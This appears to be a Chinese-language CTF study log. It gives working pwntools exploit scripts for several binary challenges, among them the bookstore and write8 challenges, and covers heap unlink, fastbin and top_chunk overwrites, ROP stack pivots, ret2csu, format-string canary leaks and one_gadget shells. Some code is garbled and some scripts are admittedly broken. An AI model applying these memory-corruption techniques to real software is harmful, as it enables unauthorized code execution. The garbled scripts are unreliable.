本周脱离 wp 生存的第一周,困难重重
铁三的 bookstore 这题是自写函数的溢出,看似很简单,其实利用起来很难,我的思路是一个堆块复用实现各种泄漏,但是泄漏出来发现用不了,这个有一个很恶心的就是
1 2 if ( (unsigned int)size > 0x50 ) return puts("Too big!");
size 的限制,让我头皮发麻,我尝试了几种方案都没有好的办法,最后只能 unlink 了,没办法,我一会试着写下 wp ,现在写一下目前的心路历程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import * p = process('./bookstore') elf = ELF("./bookstore", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) context.log_level = "debug" def new(auname,size,boname): p.sendlineafter('Your choice:\n','1') p.sendlineafter('What is the author name?\n',auname) p.sendlineafter('How long is the book name?\n',str(size)) p.sendlineafter('What is the name of the book?\n',boname) def free(ind): p.sendlineafter('Your choice:\n','2') p.sendlineafter('Which book do you want to sell?',str(ind)) def show(ind): p.sendlineafter('Your choice:\n','3') p.sendlineafter('Which book do you want to sell?',str(ind)) new('0',0,'0') new('1',0,'1') new('2',0,'2') new('3',0,'3') new('4',0,'4') new('5',0,'5') new('6',0,'6') new('7',0,'7') new('8',0,'8') free(0) pay = p64(0)*3+p64(0xa1) new('0',0,pay) free(6) pay = p64(0)*2+p64(0xa0)+p64(0x21) new('0',0,pay) free(1) new('0',10,'1'*8) show(1) p.recvuntil('1'*8) leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak-0x3c4c08 print hex(libc_base) new('0',10,'9'*8) free(4) free(9) show(2) p.recvuntil('Bookname:') heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) heap_base = heap-0x80 print hex(heap_base) new('0',0x50,'4') new('0',0x40,'9') new('0',0x10,'a') new('0',0x40,'b') new('0',0x10,'c') new('0',0x10,'d') free(7) new('0',0,'0') ## 8 b free(11) free(9) mall = libc_base + libc.symbols['__malloc_hook']-0x23 free_hook = libc.symbols['__free_hook'] + libc_base print hex(mall) free(8) new('0',0,'c'*10) gdb.attach(p) p.interactive()
全在这 wp 里了,哭了~~~ 发现 unlink 也不行,不能 edit ,很恶心~~~ 就完成了 unlink 到 bss 端,但是无法利用~~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * p = process('./bookstore') elf = ELF("./bookstore", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) context.log_level = "debug" def new(size,boname): p.sendlineafter('Your choice:\n','1') p.sendlineafter('What is the author name?\n',p64(elf.got['free'])*3) p.sendlineafter('How long is the book name?\n',str(size)) p.sendlineafter('What is the name of the book?\n',boname) def free(ind): p.sendlineafter('Your choice:\n','2') p.sendlineafter('Which book do you want to sell?',str(ind)) def show(ind): p.sendlineafter('Your choice:\n','3') p.sendlineafter('Which book do you want to sell?',str(ind)) new(0,'0') new(0x30,'1') new(0x40,'2') new(0x30,'3') new(0x40,'4') new(0,'5') free(0) pay = p64(0)*3+p64(0x91)+p64(0)+p64(0x81)+p64(0x602080+0x10)+p64(0x602080+0x18) pay = pay.ljust(0xa0,'\x00')+p64(0x80)+p64(0x90) new(0,pay) free(3) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * p = process('./bookstore') elf = ELF("./bookstore", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) context.log_level = "debug" def new(size,boname): p.sendlineafter('Your choice:\n','1') p.sendlineafter('What is the author name?\n','1') p.sendlineafter('How long is the book name?\n',str(size)) p.sendlineafter('What is the name of the book?\n',boname) def free(ind): p.sendlineafter('Your choice:\n','2') p.sendlineafter('Which book do you want to sell?',str(ind)) def show(ind): p.sendlineafter('Your choice:\n','3') p.sendlineafter('Which book do you want to sell?',str(ind)) new(0,'0') new(0x50,'1') new(0x50,'2') new(0x50,'3') new(0,'4') new(0x50,'5') new(0,'6') new(0x40,'7') new(0,'8') free(0) new(0,p64(0)*3+p64(0xc1)) free(1) new(0,'a'*8) show(1) p.recvuntil('a'*8) leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) print hex(leak) base = leak - 3951656 one = base+ 0x4526a free(6) free(7) new(0,p64(0x6)*3+p64(0x51)+p64(0x61)) new(0x40,'7') free(4) free(5) new(0,p64(0x0)*3+p64(0x61)+p64(leak-184-56)) new(0x50,'5') new(0x50,p64(0x0)*6+p64(leak-184-56-64)) new(0x50,'123') new(0x50,p64(0)+p64(one)) p.sendline('1') p.sendline('xxxx') p.sendline('30') #gdb.attach(p) p.interactive()
学到了好多,这个比较粗糙,但还是要认真记录一下,首先这个思路就太狠了,和之前做过的一道题贼像,这个是把 top_chunk 给改了,而且手法好骚啊
new(0,p64(0x6)*3+p64(0x51)+p64(0x61))
先把比目标 bin 小 0x10 个字节的给改了,这样伪造为之后的 malloc 提供方便
吉林省网络安全大赛 write8 比赛的时候刚接触 pwn ,洞都没看,就直接放了,现在突然看到了,做一下,发现不难 orz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # coding=utf-8 from pwn import * p=process('./write8',aslr=2) #context.log_level = "debug" p.recvuntil('name?\n') p.send('a'*16) p.recvuntil('a'*16) leak = u32(p.recvuntil('write')[:4].ljust(4,'\x00')) print hex(leak) leak_real=leak-66 p.recvuntil('Tell me where is your favorite\n') p.sendline(hex(leak_real)[2:]) sleep(0.1) main_addr=0x080485F6 p.send(p32(main_addr)) p.send('a'*28) p.recvuntil('a'*28) libc_base = u32(p.recvuntil('write')[:4])-377150 print hex(libc_base) leak_real=leak-210 p.sendline(hex(leak_real)[2:]) sleep(0.1) #gdb.attach(p,'b*0x80485EB') one = 0x5fbc6 + libc_base p.send(p32(one)+p32(0)) #pause() p.interactive()
这里的漏洞就是一个任意地址写,思路还是很清楚的,就是覆盖返回地址,上述 wp 的思路就是
main 第一次泄漏 stack
write8 直接往 ret 里放 main_addr ,因为泄漏一个远远不够
到 main_addr 后泄漏 libc_base
到 write8 后 ret 放 one_gadget ,这里用了一个骚思路(这里我们只能控制 8 个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pic$ one_gadget /lib/i386-linux-gnu/libc.so.6 0x3ac5c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3ac5e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3ac62 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3ac69 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5fbc5 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5fbc6 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL
最后一个刚刚好,直接暴力填入 0 完事, one_gadget 绝对成立~~~~ 巧了不是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # coding=utf-8 from pwn import * #p=process('./write8',aslr=2) p=process('./write8',env={'LD_PRELOAD':'./libc.so.6'}) #context.log_level = "debug" p.recvuntil('name?\n') p.send('a'*16) p.recvuntil('a'*16) leak = u32(p.recvuntil('write')[:4].ljust(4,'\x00')) print hex(leak) leak_real=leak-66 p.recvuntil('Tell me where is your favorite\n') p.sendline(hex(leak_real)[2:]) sleep(0.1) main_addr=0x080485F6 p.send(p32(main_addr)) p.send('a'*28) p.recvuntil('a'*28) libc_base = u32(p.recvuntil('write')[:4])-377150 print hex(libc_base) leak_real=leak-210 p.sendline(hex(leak_real)[2:]) sleep(0.1) gdb.attach(p,'b*0x80485EB') one = 0x5f066 + libc_base+0xb10 p.send(p32(one)+p32(0)) pause() p.interactive()
上述为题目环境,差了 0xb10 个字节,还好 官方是一个栈迁移,我看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * import sys debug = 1 arch_64 = 0 exe = "./write8" r = lambda x:p.recv(x) ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True) sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sea = lambda x:p.sendafter(x) sela = lambda x:p.sendlineafter(x) context.terminal = ["tmux","splitw","-h"] e = ELF(exe) if debug: context.log_level = "debug" def rl(): p.recvline() if len(sys.argv)>1: p = remote(sys.argv[1],int(sys.argv[2])) libc = ELF("./libc.so.6") else: p = process([exe]) if arch_64: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") arena = 0x3c4b20 context.arch = "amd64" else: libc = ELF("/lib/i386-linux-gnu/libc.so.6") arena = 0x1b2780 context.arch = "i386" def csu(offset,end,front,fun_got,arg1,arg2,arg3): tmp = flat(["A"*offset,end,0,1,fun_got,arg3,arg2,arg1,front,"A"*0x38,vul]) return tmp def z(): gdb.attach(p) def write(addr,data): print "writing "+hex(addr)+" : "+data ru("favorite\n") sl(hex(addr)[2:]) rl() sd(data) main = e.symbols["main"] puts_plt = e.plt["puts"] puts_got = e.got["puts"] p1=flat([puts_plt,main,puts_got]) p1+="A"*0x8 rl() sd(p1) ru("A"*0x8) stack = u32(r(4)) print "stack: "+hex(stack) ret = stack - 0x140 rop_addr = stack - 0x140 leave_ret = 0x080484e8 p2 = p32(rop_addr)+p32(leave_ret) write(ret-4,p2) ru("\n") puts = u32(r(4)) print "puts: "+hex(puts) libc.address = puts - libc.symbols["puts"] sys = libc.symbols["system"] one = libc.address + 0x3ac69 rop2_addr = stack - 0x1cc new_ret = stack-0x1d0 bin_sh = libc.search("/bin/sh").next() print hex(bin_sh) p3 = flat([sys,bin_sh,bin_sh]) ru("name?\n") sd(p3) p4 = flat([rop2_addr,leave_ret]) pause() write(new_ret,p3) p.interactive()
我好像有点太依赖 one_gadget 了,还得在整整 rop ~~~ 而且官方的 wp 也想用 one ,不过失败了, 23333~~~
官方的 wp 就很秀了,这个用 puts 泄漏的 libc_base 比较优雅,很通用,而且最后起 shell ,也是用 so 的 sh 还是很容易理解的
pwn 11.7 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p = process('./pwn') elf = ELF("./pwn", checksec=False) libc = elf.libc context.log_level = "debug" pay = 'a'*136+p64(0x40061A)+p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)+p64(0x400600)+p64(0)*7+p64(0x0400566) p.recvuntil('0123') p.send(pay) write = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print hex(write) base=write-libc.sym["write"] print hex(base) one = base+0x4526a pay = 'a'*136+p64(one)+p64(0)*10 p.send(pay) p.interactive() ```` 一个 one_gadget 必定通杀 ## pwn 11.8
from pwn import * p= process(‘pwn1’) elf = ELF(“./pwn1”, checksec=False) libc = elf.libc #context.log_level = “debug” p.sendline(“%2$p.%35$p”)
leak canary and libc_addr p.recvuntil(“0x”) addr_offset = int(p.recvuntil(“.0x”)[:-3],16) canary = int(p.recvuntil(‘,’)[:-1],16) libc_base = addr_offset - 1783920 one = libc_base+0x5fbc6 p.recvuntil(‘messages:’) payload = ‘\x00’*0x64+p32(canary)+p32(0)3+p32(one) #gdb.attach(p,’b 0x80485FA ‘)
p.sendline(payload) #pause() p.interactive()
1 2 3 4 5 有点问题,但还好解决了,就是简单的格式化字符串加栈溢出,用 ida 看偏移有点不准,得自己用 gdb 调试出结果 ## Supwn5
from pwn import * p = process(‘./supwn5’,aslr=0) elf = ELF(“./supwn5”, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’, checksec=False) #context.log_level = “debug” def new(size): p.sendlineafter(‘please chooice :\n’,’1’) p.sendlineafter(‘please input the size : \n’,str(size)) def free(ind): p.sendlineafter(‘please chooice :\n’,’2’) p.sendlineafter(‘which node do you want to delete\n’,str(ind)) def edit(ind,content): p.sendlineafter(‘please chooice :\n’,’4’) p.sendlineafter(‘which one do you want modify :\n’,str(ind)) p.sendafter(‘please input the content’,content) def show(ind): p.sendlineafter(‘please chooice :\n’,’3’) p.sendlineafter(‘which node do you want to show\n’,str(ind))
new(0x80) new(1) free(0) new(0x80) show(0) p.recvuntil(‘the content is : \n’) leak = u64(p.recvuntil(‘\n’)[:-1].ljust(8,”\x00”)) print hex(leak) base = leak-3951480 free_hook=base+libc.symbols[‘__free_hook’] one = base+0xf1147 new(0x40)
free(2) edit(1,p64(0)*3+p64(0x51)+p64(0x61)) new(0x40) new(0x50) free(3) edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40)) new(0x50) new(0x50) edit(4,p64(0)*6+p64(leak-0x80))
new(1)
edit(5,p64(0)+p64(one)) gdb.attach(p) print ‘one ‘+hex(one) print ‘free_hook ‘+hex(free_hook) new(1) p.interactive()
不太好用,尴尬了,我看看 free_hook